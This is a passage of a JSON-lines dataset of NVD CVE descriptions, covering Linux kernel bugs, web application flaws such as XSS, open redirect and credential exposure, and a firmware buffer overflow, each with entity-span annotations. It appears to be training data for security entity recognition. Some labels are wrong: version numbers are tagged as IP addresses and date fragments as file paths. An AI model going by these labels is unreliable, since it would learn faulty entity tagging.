bus resource 0 (\"bus 00\") is skipped, and no\nlonger registered with pci_bus_insert_busn_res() (causing the memory leak),\nnor printed:\n\n   pci-rcar-gen2 ee090000.pci: host bridge /soc/pci@ee090000 ranges:\n   pci-rcar-gen2 ee090000.pci:      MEM 0x00ee080000..0x00ee08ffff -> 0x00ee080000\n   pci-rcar-gen2 ee090000.pci: PCI: revision 11\n   pci-rcar-gen2 ee090000.pci: PCI host bridge to bus 0000:00\n  -pci_bus 0000:00: root bus resource [bus 00]\n   pci_bus 0000:00: root bus resource [mem 0xee080000-0xee08ffff]\n\nFix this by only skipping resources where all of the flags, start, and end\nmembers are zero.", "spans": {"FILEPATH: /sys/kernel/debug/kmemleak": [[197, 223], [233, 259]], "FILEPATH: /soc/pci@ee090000": [[1429, 1446]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[1358, 1369]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53814"}}
{"text": "Cross Site Scripting (XSS) in Wuzhi CMS v4.1.0 allows remote attackers to execute arbitrary code via the \"Title\" parameter in the component \"/coreframe/app/guestbook/myissue.php\".", "spans": {"FILEPATH: /coreframe/app/guestbook/myissue.php": [[141, 177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-18654"}}
{"text": "Sylius is an Open Source eCommerce Framework on Symfony. CurrencySwitchController::switchAction(), ImpersonateUserController::impersonateAction() and StorageBasedLocaleSwitcher::handle() use the HTTP Referer header directly when redirecting. The attack requires the victim to click a legitimate application link placed on an attacker-controlled page. The browser automatically sends the attacker's site as the Referer, and the application redirects back to it. This can be used for phishing or credential theft, as the redirect originates from a trusted domain. The severity varies by endpoint; public endpoints require no authentication and are trivially exploitable, while admin-only endpoints require an authenticated session but remain vulnerable if an admin follows a link from an external source such as email or chat. The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31819"}}
{"text": "The Python \"Flask-Security-Too\" package is used for adding security features to your Flask application. It is an is a independently maintained version of Flask-Security based on the 3.0.0 version of Flask-Security. In Flask-Security-Too from version 3.3.0 and before version 3.4.5, the /login and /change endpoints can return the authenticated user's authentication token in response to a GET request. Since GET requests aren't protected with a CSRF token, this could lead to a malicious 3rd party site acquiring the authentication token. Version 3.4.5 and version 4.0.0 are patched. As a workaround, if you aren't using authentication tokens - you can set the SECURITY_TOKEN_MAX_AGE to \"0\" (seconds) which should make the token unusable.", "spans": {"SYSTEM: Python": [[4, 10]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21241"}}
{"text": "Vulnerability in the Oracle Financial Services Revenue Management and Billing product of Oracle Financial Services Applications (component: File Upload). Supported versions that are affected are 2.7.0.0, 2.7.0.1 and 2.8.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Revenue Management and Billing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Financial Services Revenue Management and Billing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Revenue Management and Billing accessible data as well as unauthorized read access to a subset of Oracle Financial Services Revenue Management and Billing accessible data. CVSS 3.0 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 2.7.0.0": [[195, 202]], "IP_ADDRESS: 2.7.0.1": [[204, 211]], "IP_ADDRESS: 2.8.0.0": [[216, 223]], "ORGANIZATION: Oracle": [[21, 27], [89, 95], [332, 338], [507, 513], [730, 736], [854, 860]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2730"}}
{"text": "Docling Core (or docling-core) is a library that defines core data types and transformations in the document processing application Docling. A PyYAML-related Remote Code Execution (RCE) vulnerability, namely CVE-2020-14343, is exposed in docling-core starting in version 2.21.0 and prior to version 2.48.4, specifically only if the application uses pyyaml prior to version 5.4 and invokes `docling_core.types.doc.DoclingDocument.load_from_yaml()` passing it untrusted YAML data. The vulnerability has been patched in docling-core version 2.48.4. The fix mitigates the issue by switching `PyYAML` deserialization from `yaml.FullLoader` to `yaml.SafeLoader`, ensuring that untrusted data cannot trigger code execution. Users who cannot immediately upgrade docling-core can alternatively ensure that the installed version of PyYAML is 5.4 or greater.", "spans": {"CVE_ID: CVE-2020-14343": [[208, 222]], "VULNERABILITY: Remote Code Execution": [[158, 179]], "VULNERABILITY: deserialization": [[596, 611]], "VULNERABILITY: code execution": [[701, 715]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24009"}}
{"text": "FreeScout is an open source help desk and shared inbox built with PHP.\n\nA vulnerability has been identified in the Free Scout Application, which exposes SMTP server credentials used by an organization in the application to users of the application. This issue arises from the application storing complete stack traces of exceptions in its database. The sensitive information is then inadvertently disclosed to users via the `/conversation/ajax-html/send_log?folder_id=&thread_id={id}` endpoint. The stack trace reveals value of parameters, including the username and password, passed to the `Swift_Transport_Esmtp_Auth_LoginAuthenticator->authenticate()` function. Exploiting this vulnerability allows an attacker to gain unauthorized access to SMTP server credentials. With this sensitive information in hand, the attacker can potentially send unauthorized emails from the compromised SMTP server, posing a severe threat to the confidentiality and integrity of email communications. This could lead to targeted attacks on both the application users and the organization itself, compromising the security of email exchange servers. This issue has been addressed in version 1.8.124. Users are advised to upgrade. Users unable to upgrade should adopt the following measures: 1. Avoid Storing Complete Stack Traces, 2. Implement redaction mechanisms to filter and exclude sensitive information, and 3. Review and enhance the application's logging practices.", "spans": {"FILEPATH: /conversation/ajax-html/send_log": [[425, 457]], "SYSTEM: PHP": [[66, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-28186"}}
{"text": "Opencast before 8.1 stores passwords using the rather outdated and cryptographically insecure MD5 hash algorithm. Furthermore, the hashes are salted using the username instead of a random salt, causing hashes for users with the same username and password to collide which is problematic especially for popular users like the default `admin` user. This essentially means that for an attacker, it might be feasible to reconstruct a user's password given access to these hashes. Note that attackers needing access to the hashes means that they must gain access to the database in which these are stored first to be able to start cracking the passwords. The problem is addressed in Opencast 8.1 which now uses the modern and much stronger bcrypt password hashing algorithm for storing passwords. Note, that old hashes remain MD5 until the password is updated. For a list of users whose password hashes are stored using MD5, take a look at the `/user-utils/users/md5.json` REST endpoint.", "spans": {"FILEPATH: /user-utils/users/md5.json": [[940, 966]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5229"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gvt: fix vgpu debugfs clean in remove\n\nCheck carefully on root debugfs available when destroying vgpu,\ne.g in remove case drm minor's debugfs root might already be destroyed,\nwhich led to kernel oops like below.\n\nConsole: switching to colour dummy device 80x25\ni915 0000:00:02.0: MDEV: Unregistering\nintel_vgpu_mdev b1338b2d-a709-4c23-b766-cc436c36cdf0: Removing from iommu group 14\nBUG: kernel NULL pointer dereference, address: 0000000000000150\nPGD 0 P4D 0\nOops: 0000 [#1] PREEMPT SMP\nCPU: 3 PID: 1046 Comm: driverctl Not tainted 6.1.0-rc2+ #6\nHardware name: HP HP ProDesk 600 G3 MT/829D, BIOS P02 Ver. 02.44 09/13/2022\nRIP: 0010:__lock_acquire+0x5e2/0x1f90\nCode: 87 ad 09 00 00 39 05 e1 1e cc 02 0f 82 f1 09 00 00 ba 01 00 00 00 48 83 c4 48 89 d0 5b 5d 41 5c 41 5d 41 5e 41 5f c3 45 31 ff <48> 81 3f 60 9e c2 b6 45 0f 45 f8 83 fe 01 0f 87 55 fa ff ff 89 f0\nRSP: 0018:ffff9f770274f948 EFLAGS: 00010046\nRAX: 0000000000000003 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000150\nRBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000\nR10: ffff8895d1173300 R11: 0000000000000001 R12: 0000000000000000\nR13: 0000000000000150 R14: 0000000000000000 R15: 0000000000000000\nFS:  00007fc9b2ba0740(0000) GS:ffff889cdfcc0000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000150 CR3: 000000010fd93005 CR4: 00000000003706e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n lock_acquire+0xbf/0x2b0\n ? simple_recursive_removal+0xa5/0x2b0\n ? lock_release+0x13d/0x2d0\n down_write+0x2a/0xd0\n ? simple_recursive_removal+0xa5/0x2b0\n simple_recursive_removal+0xa5/0x2b0\n ? start_creating.part.0+0x110/0x110\n ? _raw_spin_unlock+0x29/0x40\n debugfs_remove+0x40/0x60\n intel_gvt_debugfs_remove_vgpu+0x15/0x30 [kvmgt]\n intel_gvt_destroy_vgpu+0x60/0x100 [kvmgt]\n intel_vgpu_release_dev+0xe/0x20 [kvmgt]\n device_release+0x30/0x80\n kobject_put+0x79/0x1b0\n device_release_driver_internal+0x1b8/0x230\n bus_remove_device+0xec/0x160\n device_del+0x189/0x400\n ? up_write+0x9c/0x1b0\n ? mdev_device_remove_common+0x60/0x60 [mdev]\n mdev_device_remove_common+0x22/0x60 [mdev]\n mdev_device_remove_cb+0x17/0x20 [mdev]\n device_for_each_child+0x56/0x80\n mdev_unregister_parent+0x5a/0x81 [mdev]\n intel_gvt_clean_device+0x2d/0xe0 [kvmgt]\n intel_gvt_driver_remove+0x2e/0xb0 [i915]\n i915_driver_remove+0xac/0x100 [i915]\n i915_pci_remove+0x1a/0x30 [i915]\n pci_device_remove+0x31/0xa0\n device_release_driver_internal+0x1b8/0x230\n unbind_store+0xd8/0x100\n kernfs_fop_write_iter+0x156/0x210\n vfs_write+0x236/0x4a0\n ksys_write+0x61/0xd0\n do_syscall_64+0x55/0x80\n ? find_held_lock+0x2b/0x80\n ? lock_release+0x13d/0x2d0\n ? up_read+0x17/0x20\n ? lock_is_held_type+0xe3/0x140\n ? asm_exc_page_fault+0x22/0x30\n ? lockdep_hardirqs_on+0x7d/0x100\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\nRIP: 0033:0x7fc9b2c9e0c4\nCode: 15 71 7d 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 80 3d 3d 05 0e 00 00 74 13 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 48 89 54 24 18 48\nRSP: 002b:00007ffec29c81c8 EFLAGS: 00000202 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 000000000000000d RCX: 00007fc9b2c9e0c4\nRDX: 000000000000000d RSI: 0000559f8b5f48a0 RDI: 0000000000000001\nRBP: 0000559f8b5f48a0 R08: 0000559f8b5f3540 R09: 00007fc9b2d76d30\nR10: 0000000000000000 R11: 0000000000000202 R12: 000000000000000d\nR13: 00007fc9b2d77780 R14: 000000000000000d R15: 00007fc9b2d72a00\n </TASK>\nModules linked in: sunrpc intel_rapl_msr intel_rapl_common intel_pmc_core_pltdrv intel_pmc_core intel_tcc_cooling x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel ee1004 igbvf rapl vfat fat intel_cstate intel_uncore pktcdvd i2c_i801 pcspkr wmi_bmof i2c_smbus acpi_pad vfio_pci vfio_pci_core vfio_virqfd zram fuse dm\n---truncated---", "spans": {"FILEPATH: /i915/gvt": [[72, 81]], "FILEPATH: /13/2022": [[691, 699]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: HP": [[639, 641], [642, 644]], "VULNERABILITY: NULL pointer dereference": [[473, 497]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53625"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm ioctl: fix misbehavior if list_versions races with module loading\n\n__list_versions will first estimate the required space using the\n\"dm_target_iterate(list_version_get_needed, &needed)\" call and then will\nfill the space using the \"dm_target_iterate(list_version_get_info,\n&iter_info)\" call. Each of these calls locks the targets using the\n\"down_read(&_lock)\" and \"up_read(&_lock)\" calls, however between the first\nand second \"dm_target_iterate\" there is no lock held and the target\nmodules can be loaded at this point, so the second \"dm_target_iterate\"\ncall may need more space than what was the first \"dm_target_iterate\"\nreturned.\n\nThe code tries to handle this overflow (see the beginning of\nlist_version_get_info), however this handling is incorrect.\n\nThe code sets \"param->data_size = param->data_start + needed\" and\n\"iter_info.end = (char *)vers+len\" - \"needed\" is the size returned by the\nfirst dm_target_iterate call; \"len\" is the size of the buffer allocated by\nuserspace.\n\n\"len\" may be greater than \"needed\"; in this case, the code will write up\nto \"len\" bytes into the buffer, however param->data_size is set to\n\"needed\", so it may write data past the param->data_size value. The ioctl\ninterface copies only up to param->data_size into userspace, thus part of\nthe result will be truncated.\n\nFix this bug by setting \"iter_info.end = (char *)vers + needed;\" - this\nguarantees that the second \"dm_target_iterate\" call will write only up to\nthe \"needed\" buffer and it will exit with \"DM_BUFFER_FULL_FLAG\" if it\noverflows the \"needed\" space - in this case, userspace will allocate a\nlarger buffer and retry.\n\nNote that there is also a bug in list_version_get_needed - we need to add\n\"strlen(tt->name) + 1\" to the needed size, not \"strlen(tt->name)\".", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49771"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slab_common: fix slab_caches list corruption after kmem_cache_destroy()\n\nAfter the commit in Fixes:, if a module that created a slab cache does not\nrelease all of its allocated objects before destroying the cache (at rmmod\ntime), we might end up releasing the kmem_cache object without removing it\nfrom the slab_caches list thus corrupting the list as kmem_cache_destroy()\nignores the return value from shutdown_cache(), which in turn never removes\nthe kmem_cache object from slabs_list in case __kmem_cache_shutdown() fails\nto release all of the cache's slabs.\n\nThis is easily observable on a kernel built with CONFIG_DEBUG_LIST=y\nas after that ill release the system will immediately trip on list_add,\nor list_del, assertions similar to the one shown below as soon as another\nkmem_cache gets created, or destroyed:\n\n  [ 1041.213632] list_del corruption. next->prev should be ffff89f596fb5768, but was 52f1e5016aeee75d. (next=ffff89f595a1b268)\n  [ 1041.219165] ------------[ cut here ]------------\n  [ 1041.221517] kernel BUG at lib/list_debug.c:62!\n  [ 1041.223452] invalid opcode: 0000 [#1] PREEMPT SMP PTI\n  [ 1041.225408] CPU: 2 PID: 1852 Comm: rmmod Kdump: loaded Tainted: G    B   W  OE      6.5.0 #15\n  [ 1041.228244] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS edk2-20230524-3.fc37 05/24/2023\n  [ 1041.231212] RIP: 0010:__list_del_entry_valid+0xae/0xb0\n\nAnother quick way to trigger this issue, in a kernel with CONFIG_SLUB=y,\nis to set slub_debug to poison the released objects and then just run\ncat /proc/slabinfo after removing the module that leaks slab objects,\nin which case the kernel will panic:\n\n  [   50.954843] general protection fault, probably for non-canonical address 0xa56b6b6b6b6b6b8b: 0000 [#1] PREEMPT SMP PTI\n  [   50.961545] CPU: 2 PID: 1495 Comm: cat Kdump: loaded Tainted: G    B   W  OE      6.5.0 #15\n  [   50.966808] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS edk2-20230524-3.fc37 05/24/2023\n  [   50.972663] RIP: 0010:get_slabinfo+0x42/0xf0\n\nThis patch fixes this issue by properly checking shutdown_cache()'s\nreturn value before taking the kmem_cache_release() branch.", "spans": {"FILEPATH: /24/2023": [[1378, 1386], [2017, 2025]], "FILEPATH: /proc/slabinfo": [[1595, 1609]], "FILEPATH: list_debug.c": [[1106, 1118]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1313, 1317], [1952, 1956]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52562"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\norangefs: Fix kmemleak in orangefs_sysfs_init()\n\nWhen insert and remove the orangefs module, there are kobjects memory\nleaked as below:\n\nunreferenced object 0xffff88810f95af00 (size 64):\n  comm \"insmod\", pid 783, jiffies 4294813439 (age 65.512s)\n  hex dump (first 32 bytes):\n    a0 83 af 01 81 88 ff ff 08 af 95 0f 81 88 ff ff  ................\n    08 af 95 0f 81 88 ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<0000000031ab7788>] kmalloc_trace+0x27/0xa0\n    [<000000005a6e4dfe>] orangefs_sysfs_init+0x42/0x3a0\n    [<00000000722645ca>] 0xffffffffa02780fe\n    [<000000004232d9f7>] do_one_initcall+0x87/0x2a0\n    [<0000000054f22384>] do_init_module+0xdf/0x320\n    [<000000003263bdea>] load_module+0x2f98/0x3330\n    [<0000000052cd4153>] __do_sys_finit_module+0x113/0x1b0\n    [<00000000250ae02b>] do_syscall_64+0x35/0x80\n    [<00000000f11c03c7>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nunreferenced object 0xffff88810f95ae80 (size 64):\n  comm \"insmod\", pid 783, jiffies 4294813439 (age 65.512s)\n  hex dump (first 32 bytes):\n    c8 90 0f 02 81 88 ff ff 88 ae 95 0f 81 88 ff ff  ................\n    88 ae 95 0f 81 88 ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<0000000031ab7788>] kmalloc_trace+0x27/0xa0\n    [<000000001a4841fa>] orangefs_sysfs_init+0xc7/0x3a0\n    [<00000000722645ca>] 0xffffffffa02780fe\n    [<000000004232d9f7>] do_one_initcall+0x87/0x2a0\n    [<0000000054f22384>] do_init_module+0xdf/0x320\n    [<000000003263bdea>] load_module+0x2f98/0x3330\n    [<0000000052cd4153>] __do_sys_finit_module+0x113/0x1b0\n    [<00000000250ae02b>] do_syscall_64+0x35/0x80\n    [<00000000f11c03c7>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nunreferenced object 0xffff88810f95ae00 (size 64):\n  comm \"insmod\", pid 783, jiffies 4294813440 (age 65.511s)\n  hex dump (first 32 bytes):\n    60 87 a1 00 81 88 ff ff 08 ae 95 0f 81 88 ff ff  `...............\n    08 ae 95 0f 81 88 ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<0000000031ab7788>] kmalloc_trace+0x27/0xa0\n    [<000000005915e797>] orangefs_sysfs_init+0x12b/0x3a0\n    [<00000000722645ca>] 0xffffffffa02780fe\n    [<000000004232d9f7>] do_one_initcall+0x87/0x2a0\n    [<0000000054f22384>] do_init_module+0xdf/0x320\n    [<000000003263bdea>] load_module+0x2f98/0x3330\n    [<0000000052cd4153>] __do_sys_finit_module+0x113/0x1b0\n    [<00000000250ae02b>] do_syscall_64+0x35/0x80\n    [<00000000f11c03c7>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nunreferenced object 0xffff88810f95ad80 (size 64):\n  comm \"insmod\", pid 783, jiffies 4294813440 (age 65.511s)\n  hex dump (first 32 bytes):\n    78 90 0f 02 81 88 ff ff 88 ad 95 0f 81 88 ff ff  x...............\n    88 ad 95 0f 81 88 ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<0000000031ab7788>] kmalloc_trace+0x27/0xa0\n    [<000000007a14eb35>] orangefs_sysfs_init+0x1ac/0x3a0\n    [<00000000722645ca>] 0xffffffffa02780fe\n    [<000000004232d9f7>] do_one_initcall+0x87/0x2a0\n    [<0000000054f22384>] do_init_module+0xdf/0x320\n    [<000000003263bdea>] load_module+0x2f98/0x3330\n    [<0000000052cd4153>] __do_sys_finit_module+0x113/0x1b0\n    [<00000000250ae02b>] do_syscall_64+0x35/0x80\n    [<00000000f11c03c7>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nunreferenced object 0xffff88810f95ac00 (size 64):\n  comm \"insmod\", pid 783, jiffies 4294813440 (age 65.531s)\n  hex dump (first 32 bytes):\n    e0 ff 67 02 81 88 ff ff 08 ac 95 0f 81 88 ff ff  ..g.............\n    08 ac 95 0f 81 88 ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<0000000031ab7788>] kmalloc_trace+0x27/0xa0\n    [<000000001f38adcb>] orangefs_sysfs_init+0x291/0x3a0\n    [<00000000722645ca>] 0xffffffffa02780fe\n    [<000000004232d9f7>] do_one_initcall+0x87/0x2a0\n    [<0000000054f22384>] do_init_module+0xdf/0x320\n    [<000000003263bdea>] load_module+0x2f98/0x3330\n    [<0000000052cd4153>] __do_sys_finit_module+0x113/0x1b0\n    [<00000000250ae02b>] do_syscall_64+0x35/\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50316"}}
{"text": "Grafana is an open-source platform for monitoring and observability. Grafana prior to versions 8.3.2 and 7.5.12 has a directory traversal for arbitrary .csv files. It only affects instances that have the developer testing tool called TestData DB data source enabled and configured. The vulnerability is limited in scope, and only allows access to files with the extension .csv to authenticated users only. Grafana Cloud instances have not been affected by the vulnerability. Versions 8.3.2 and 7.5.12 contain a patch for this issue. There is a workaround available for users who cannot upgrade. Running a reverse proxy in front of Grafana that normalizes the PATH of the request will mitigate the vulnerability. The proxy will have to also be able to handle url encoded paths.", "spans": {"SYSTEM: Grafana": [[0, 7], [69, 76], [406, 413], [631, 638]], "VULNERABILITY: directory traversal": [[118, 137]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43815"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nclass: fix use-after-free in class_register()\n\nThe lock_class_key is still registered and can be found in\nlock_keys_hash hlist after subsys_private is freed in error\nhandler path.A task who iterate over the lock_keys_hash\nlater may cause use-after-free.So fix that up and unregister\nthe lock_class_key before kfree(cp).\n\nOn our platform, a driver fails to kset_register because of\ncreating duplicate filename '/class/xxx'.With Kasan enabled,\nit prints a invalid-access bug report.\n\nKASAN bug report:\n\nBUG: KASAN: invalid-access in lockdep_register_key+0x19c/0x1bc\nWrite of size 8 at addr 15ffff808b8c0368 by task modprobe/252\nPointer tag: [15], memory tag: [fe]\n\nCPU: 7 PID: 252 Comm: modprobe Tainted: G        W\n 6.6.0-mainline-maybe-dirty #1\n\nCall trace:\ndump_backtrace+0x1b0/0x1e4\nshow_stack+0x2c/0x40\ndump_stack_lvl+0xac/0xe0\nprint_report+0x18c/0x4d8\nkasan_report+0xe8/0x148\n__hwasan_store8_noabort+0x88/0x98\nlockdep_register_key+0x19c/0x1bc\nclass_register+0x94/0x1ec\ninit_module+0xbc/0xf48 [rfkill]\ndo_one_initcall+0x17c/0x72c\ndo_init_module+0x19c/0x3f8\n...\nMemory state around the buggy address:\nffffff808b8c0100: 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a\nffffff808b8c0200: 8a 8a 8a 8a 8a 8a 8a 8a fe fe fe fe fe fe fe fe\n>ffffff808b8c0300: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe\n                                     ^\nffffff808b8c0400: 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03\n\nAs CONFIG_KASAN_GENERIC is not set, Kasan reports invalid-access\nnot use-after-free here.In this case, modprobe is manipulating\nthe corrupted lock_keys_hash hlish where lock_class_key is already\nfreed before.\n\nIt's worth noting that this only can happen if lockdep is enabled,\nwhich is not true for normal system.", "spans": {"FILEPATH: /class/xxx": [[479, 489]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[80, 94], [307, 321], [1546, 1560]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52468"}}
{"text": "Scylla is a real-time big data database that is API-compatible with Apache Cassandra and Amazon DynamoDB. When decompressing CQL frame received from user, Scylla assumes that user-provided uncompressed length is correct. If user provides fake length, that is greater than the real one, part of decompression buffer won't be overwritten, and will be left uninitialized. This can be exploited in several ways, depending on the privileges of the user. 1. The main exploit is that an attacker with access to CQL port, but no user account, can bypass authentication, but only if there are other legitimate clients making connections to the cluster, and they use LZ4. 2. Attacker that already has a user account on the cluster can read parts of uninitialized memory, which can contain things like passwords of other users or fragments of other queries / results, which leads to authorization bypass and sensitive information disclosure. The bug has been patched in the following versions: Scylla Enterprise: 2020.1.14, 2021.1.12, 2022.1.0. Scylla Open Source: 4.6.7, 5.0.3. Users unable to upgrade should make sure none of their drivers connect to cluster using LZ4 compression, and that Scylla CQL port is behind firewall. Additionally make sure no untrusted client can connect to Scylla, by setting up authentication and applying workarounds from previous point (firewall, no lz4 compression).", "spans": {"ORGANIZATION: Apache": [[68, 74]], "ORGANIZATION: Amazon": [[89, 95]], "VULNERABILITY: information disclosure": [[907, 929]], "VULNERABILITY: authorization bypass": [[872, 892]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-29240"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid use f2fs_bug_on() in f2fs_new_node_page()\n\nAs Dipanjan Das <mail.dipanjan.das@gmail.com> reported, syzkaller\nfound a f2fs bug as below:\n\nRIP: 0010:f2fs_new_node_page+0x19ac/0x1fc0 fs/f2fs/node.c:1295\nCall Trace:\n write_all_xattrs fs/f2fs/xattr.c:487 [inline]\n __f2fs_setxattr+0xe76/0x2e10 fs/f2fs/xattr.c:743\n f2fs_setxattr+0x233/0xab0 fs/f2fs/xattr.c:790\n f2fs_xattr_generic_set+0x133/0x170 fs/f2fs/xattr.c:86\n __vfs_setxattr+0x115/0x180 fs/xattr.c:182\n __vfs_setxattr_noperm+0x125/0x5f0 fs/xattr.c:216\n __vfs_setxattr_locked+0x1cf/0x260 fs/xattr.c:277\n vfs_setxattr+0x13f/0x330 fs/xattr.c:303\n setxattr+0x146/0x160 fs/xattr.c:611\n path_setxattr+0x1a7/0x1d0 fs/xattr.c:630\n __do_sys_lsetxattr fs/xattr.c:653 [inline]\n __se_sys_lsetxattr fs/xattr.c:649 [inline]\n __x64_sys_lsetxattr+0xbd/0x150 fs/xattr.c:649\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nNAT entry and nat bitmap can be inconsistent, e.g. one nid is free\nin nat bitmap, and blkaddr in its NAT entry is not NULL_ADDR, it\nmay trigger BUG_ON() in f2fs_new_node_page(), fix it.", "spans": {"DOMAIN: gmail.com": [[166, 175]], "FILEPATH: /f2fs/node.c": [[270, 282]], "FILEPATH: /f2fs/xattr.c": [[320, 333], [379, 392], [426, 439], [482, 495]], "FILEPATH: /x86/entry/common.c": [[917, 936], [978, 997]], "FILEPATH: xattr.c": [[530, 537], [580, 587], [630, 637], [671, 678], [708, 715], [750, 757], [785, 792], [829, 836], [885, 892]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50013"}}
{"text": "The <redacted>.so library, which is used by <redacted>, is\nvulnerable to a buffer overflow in the code that handles the deletion\nof certificates. This buffer overflow can be triggered by providing a\nlong file path to the <redacted> action of the <redacted>.exe CGI binary or\nto the <redacted>.sh CGI script. This binary or script will write this\nfile path to <redacted>, which is then\nread by <redacted>.so\n\n\nThis issue affects Iocharger firmware for AC models before version 24120701.\n\nLikelihood: Moderate – An attacker will have to find this exploit by\neither obtaining the binaries involved in this vulnerability, or by trial\nand error. Furthermore, the attacker will need a (low privilege)\naccount to gain access to the <redacted>.exe CGI binary or <redacted>.sh\nscript to trigger the vulnerability, or convince a user with such access\nsend an HTTP request that triggers it.\n\n\nImpact: High – The <redacted> process, which we assume is\nresponsible for OCPP communication, will keep crashing after\nperforming the exploit. This happens because the buffer overflow\ncauses the process to segfault before\n<redacted> is removed. This means that,\neven though <redacted> is automatically restarted, it will crash\nagain as soon as it tries to parse the text file.\n\nCVSS clarification. The attack can be executed over any network connection the station is listening to and serves the web interface (AV:N), and there are no additional security measure sin place that need to be circumvented (AC:L), the attack does not rely on preconditions (AT:N). The attack does require authentication, but the level of authentication is irrelevant (PR:L), it does not require user interaction (UI:N). The attack leads to reducred availability of the device (VC:N/VI:N/VA:H). THere is not impact on subsequent systems. (SC:N/SI:N/SA:N). Alltough this device is an EV charger handing significant amounts of power, we do not forsee a safety impact. The attack can be automated (AU:Y). Because the DoS condition is written to disk persistantly, it cannot be recovered by the user (R:I).", "spans": {"VULNERABILITY: buffer overflow": [[75, 90], [151, 166], [1050, 1065]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43661"}}
{"text": "Shescape is a shell escape package for JavaScript. An Inefficient Regular Expression Complexity vulnerability impacts users that use Shescape to escape arguments for the Unix shells `Bash` and `Dash`, or any not-officially-supported Unix shell; and/or using the `escape` or `escapeAll` functions with the `interpolation` option set to `true`. An attacker can cause polynomial backtracking or quadratic runtime in terms of the input string length due to two Regular Expressions in Shescape that are vulnerable to Regular Expression Denial of Service (ReDoS). This bug has been patched in v1.5.10. For `Dash` only, this bug has been patched since v1.5.9. As a workaround, a maximum length can be enforced on input strings to Shescape to reduce the impact of the vulnerability. It is not recommended to try and detect vulnerable input strings, as the logic for this may end up being vulnerable to ReDoS itself.", "spans": {"VULNERABILITY: Denial of Service": [[531, 548]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36064"}}
